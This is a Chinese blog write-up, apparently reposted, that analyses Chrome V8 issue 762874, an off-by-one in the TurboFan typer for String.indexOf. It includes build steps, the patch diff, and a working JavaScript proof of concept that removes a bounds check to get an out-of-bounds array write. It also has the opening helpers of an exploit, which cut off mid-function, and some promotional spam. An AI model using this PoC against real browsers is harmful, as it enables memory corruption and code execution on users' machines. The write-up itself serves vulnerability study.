【网络安全】简要分析下Chrome-V8-Issue-762874
這是A guided tour through Chrome’s javascript compiler上的第二個漏洞,下面是對應的commit
環境搭建
用v8-action
env:PATCH_FLAG: trueCOMMIT: d2da19c78005c75e0f658be23c28b473dd76b93b #這里DEPOT_UPLOAD: falseSRC_UPLOAD: trueBINARY_UPLOAD: false編譯
cd v8 tools/dev/v8gen.py x64.debug ninja -C out.gn/x64.debug d8 tools/dev/v8gen.py x64.release ninja -C out.gn/x64.release d8 cd ..漏洞分析
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc index e04b1fb..251a946 100644 --- a/src/compiler/typer.cc +++ b/src/compiler/typer.cc @@ -1453,7 +1453,7 @@return Type::String();case kStringIndexOf:case kStringLastIndexOf: - return Type::Range(-1.0, String::kMaxLength - 1.0, t->zone()); + return Type::Range(-1.0, String::kMaxLength, t->zone());case kStringEndsWith:case kStringIncludes:return Type::Boolean();可以看到原本的String的最大下標是Range(-1.0, kMaxLength - 1.0),因為很顯然,當只有一個元素時,最大下標就是1-1->0
但是有一特殊情況:
'1234'.indexOf('', 4) == 4不只是這樣,我們可以任意長度的array,從其maxLength開始搜索空字符,返回其maxLength,而Inferred Type為range(-1,maxLength-1)這種潛在的返回值可以幫助我們數組越界,當然我們要通過indexOf源碼來分析。
分享給大家技術學習資料如下內容
→點擊查看【網絡安全學習攻略】←
1.2000多本網絡安全系列電子書
2.網絡安全標準題庫資料
3.項目源碼
4.網絡安全基礎入門、Linux、web安全、攻防方面的視頻
5.網絡安全學習路線圖
關于indexOf
str.indexOf(searchValue [, fromIndex])返回在當前字符串中從fromIndex開始的第一個searchValue對應的下標,但是當我們像上述說的搜索空字符且從大于等于數組長度的位置搜索時,會返回數組長度(這點在下面的源碼分析中會有所體現),等下用turbolizer看下生成圖。
寫個poc測一下,順便看看turbolizer
function hex(i){return i.toString(16).padStart(16, "0"); }function foo(x) {// const maxLength = %StringMaxLength();// print(maxLength);//maxLength==2**30+25let a = 'A'.repeat(2**30-25).indexOf('',x);let b = a + 25;let c = b >> 30;let idx = 7 * c;// print(idx);let oobArray = [1.1,2.2,3.3,4.4];oobArray[idx] = -1;return oobArray; }for(let i=0; i<10000; i++) {foo(1) } let oob = foo(2**30-25); console.log("[*]oob.length: "+hex(oob.length));
我本來想像這里的一樣做,然后很簡單的幾步做出一個可以拿來越界的下標,但是很遺憾我本地如此求出的下標,在優化后他就是0,這個操作讓人比較迷惑,另外在本地測試時最好看一下%StringMaxLength()的具體數值,那個slide里是228-16我本地是230-25還是試出來的,這是非常重要的一點。
所幸在這里看到他的exp寫法,他的poc跑出結果和我不同,我本地跑出來的結果太過正常,看起來似乎沒漏洞,但是返回越界寫入length的array的poc在我本地倒是能跑通,感謝,不然這種莫名奇妙的錯誤不知會卡我多久。
在這一階段時看到還有CheckBounds防止越界,但是在Simplified lowering階段就沒了那個越界檢查,說明其turbofan認為這里不會越界,所以就把CheckBound給消除了,但是實際上越界了,所以會把checkbound消除(重點,這類漏洞的重點就是把一些check給消除掉。
這一錯誤的判斷,也即消除checkbound是因為:
注意我用的不是2**28,顯然turbofan在優化時確定的范圍顯示其不會越界,所以就會把checkbound消去,單這么看也許會覺得莫名其妙,那么我寫個自己假設的修復漏洞之后的圖表:
那么這樣的話顯然是不會讓CheckBound消失的。
源碼分析
int String::IndexOf(Isolate* isolate, Handle<String> receiver,Handle<String> search, int start_index) {DCHECK(0 <= start_index); //開始的下標大于0DCHECK(start_index <= receiver->length()); //開始的下標小于主字符串的長度uint32_t search_length = search->length(); //需要搜索字符串的長度if (search_length == 0) return start_index; //如果是空字符串,返回搜索開始的下標uint32_t receiver_length = receiver->length();if (start_index + search_length > receiver_length) return -1;receiver = String::Flatten(receiver);search = String::Flatten(search);DisallowHeapAllocation no_gc; // ensure vectors stay valid// Extract flattened substrings of cons strings before getting encoding.String::FlatContent receiver_content = receiver->GetFlatContent();String::FlatContent search_content = search->GetFlatContent();// dispatch on type of stringsif (search_content.IsOneByte()) {Vector<const uint8_t> pat_vector = search_content.ToOneByteVector();return SearchString<const uint8_t>(isolate, receiver_content, pat_vector,start_index);}Vector<const uc16> pat_vector = search_content.ToUC16Vector();return SearchString<const uc16>(isolate, receiver_content, pat_vector,start_index); }利用
我們看到通過poc,可以達到構造一個越界讀的數組的結果,并且這一poc的構建看起來并不算特別難,且其原理也在前面有所講解,我相信各位通過曾經一些v8的學習,拿到可以有oob數組的poc后可以很快的寫出其exp,有越界數組之后的操作就不再多說
另外這個v8的版本挺老的v6.3的,我用wasm時候沒觸發應該是這個版本還不支持,最后直接拿這里所說的jit稍加修改:
function hex(i) {return i.toString(16).padStart(16, "0"); }const MAX_ITERATIONS = 10000; const buf = new ArrayBuffer(8); const f64 = new Float64Array(buf); const u32 = new Uint32Array(buf);function f2i(val) { f64[0] = val;let tmp = Array.from(u32);return tmp[1] * 0x100000000 + tmp[0]; }function i2f(val) {let tmp = [];tmp[0] = parseInt(val % 0x100000000);tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
我也一直在思考shellcode跑不通的原因,每次都是display的環境變量和別人不一樣,如果你用我的exp跑不通,也可以去進行新的嘗試。
關注私信回復“資料”獲取
總結
以上是生活随笔為你收集整理的【网络安全】简要分析下Chrome-V8-Issue-762874的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 如何使用ThreadStackSpoof
- 下一篇: 一次ctf中代码审计分析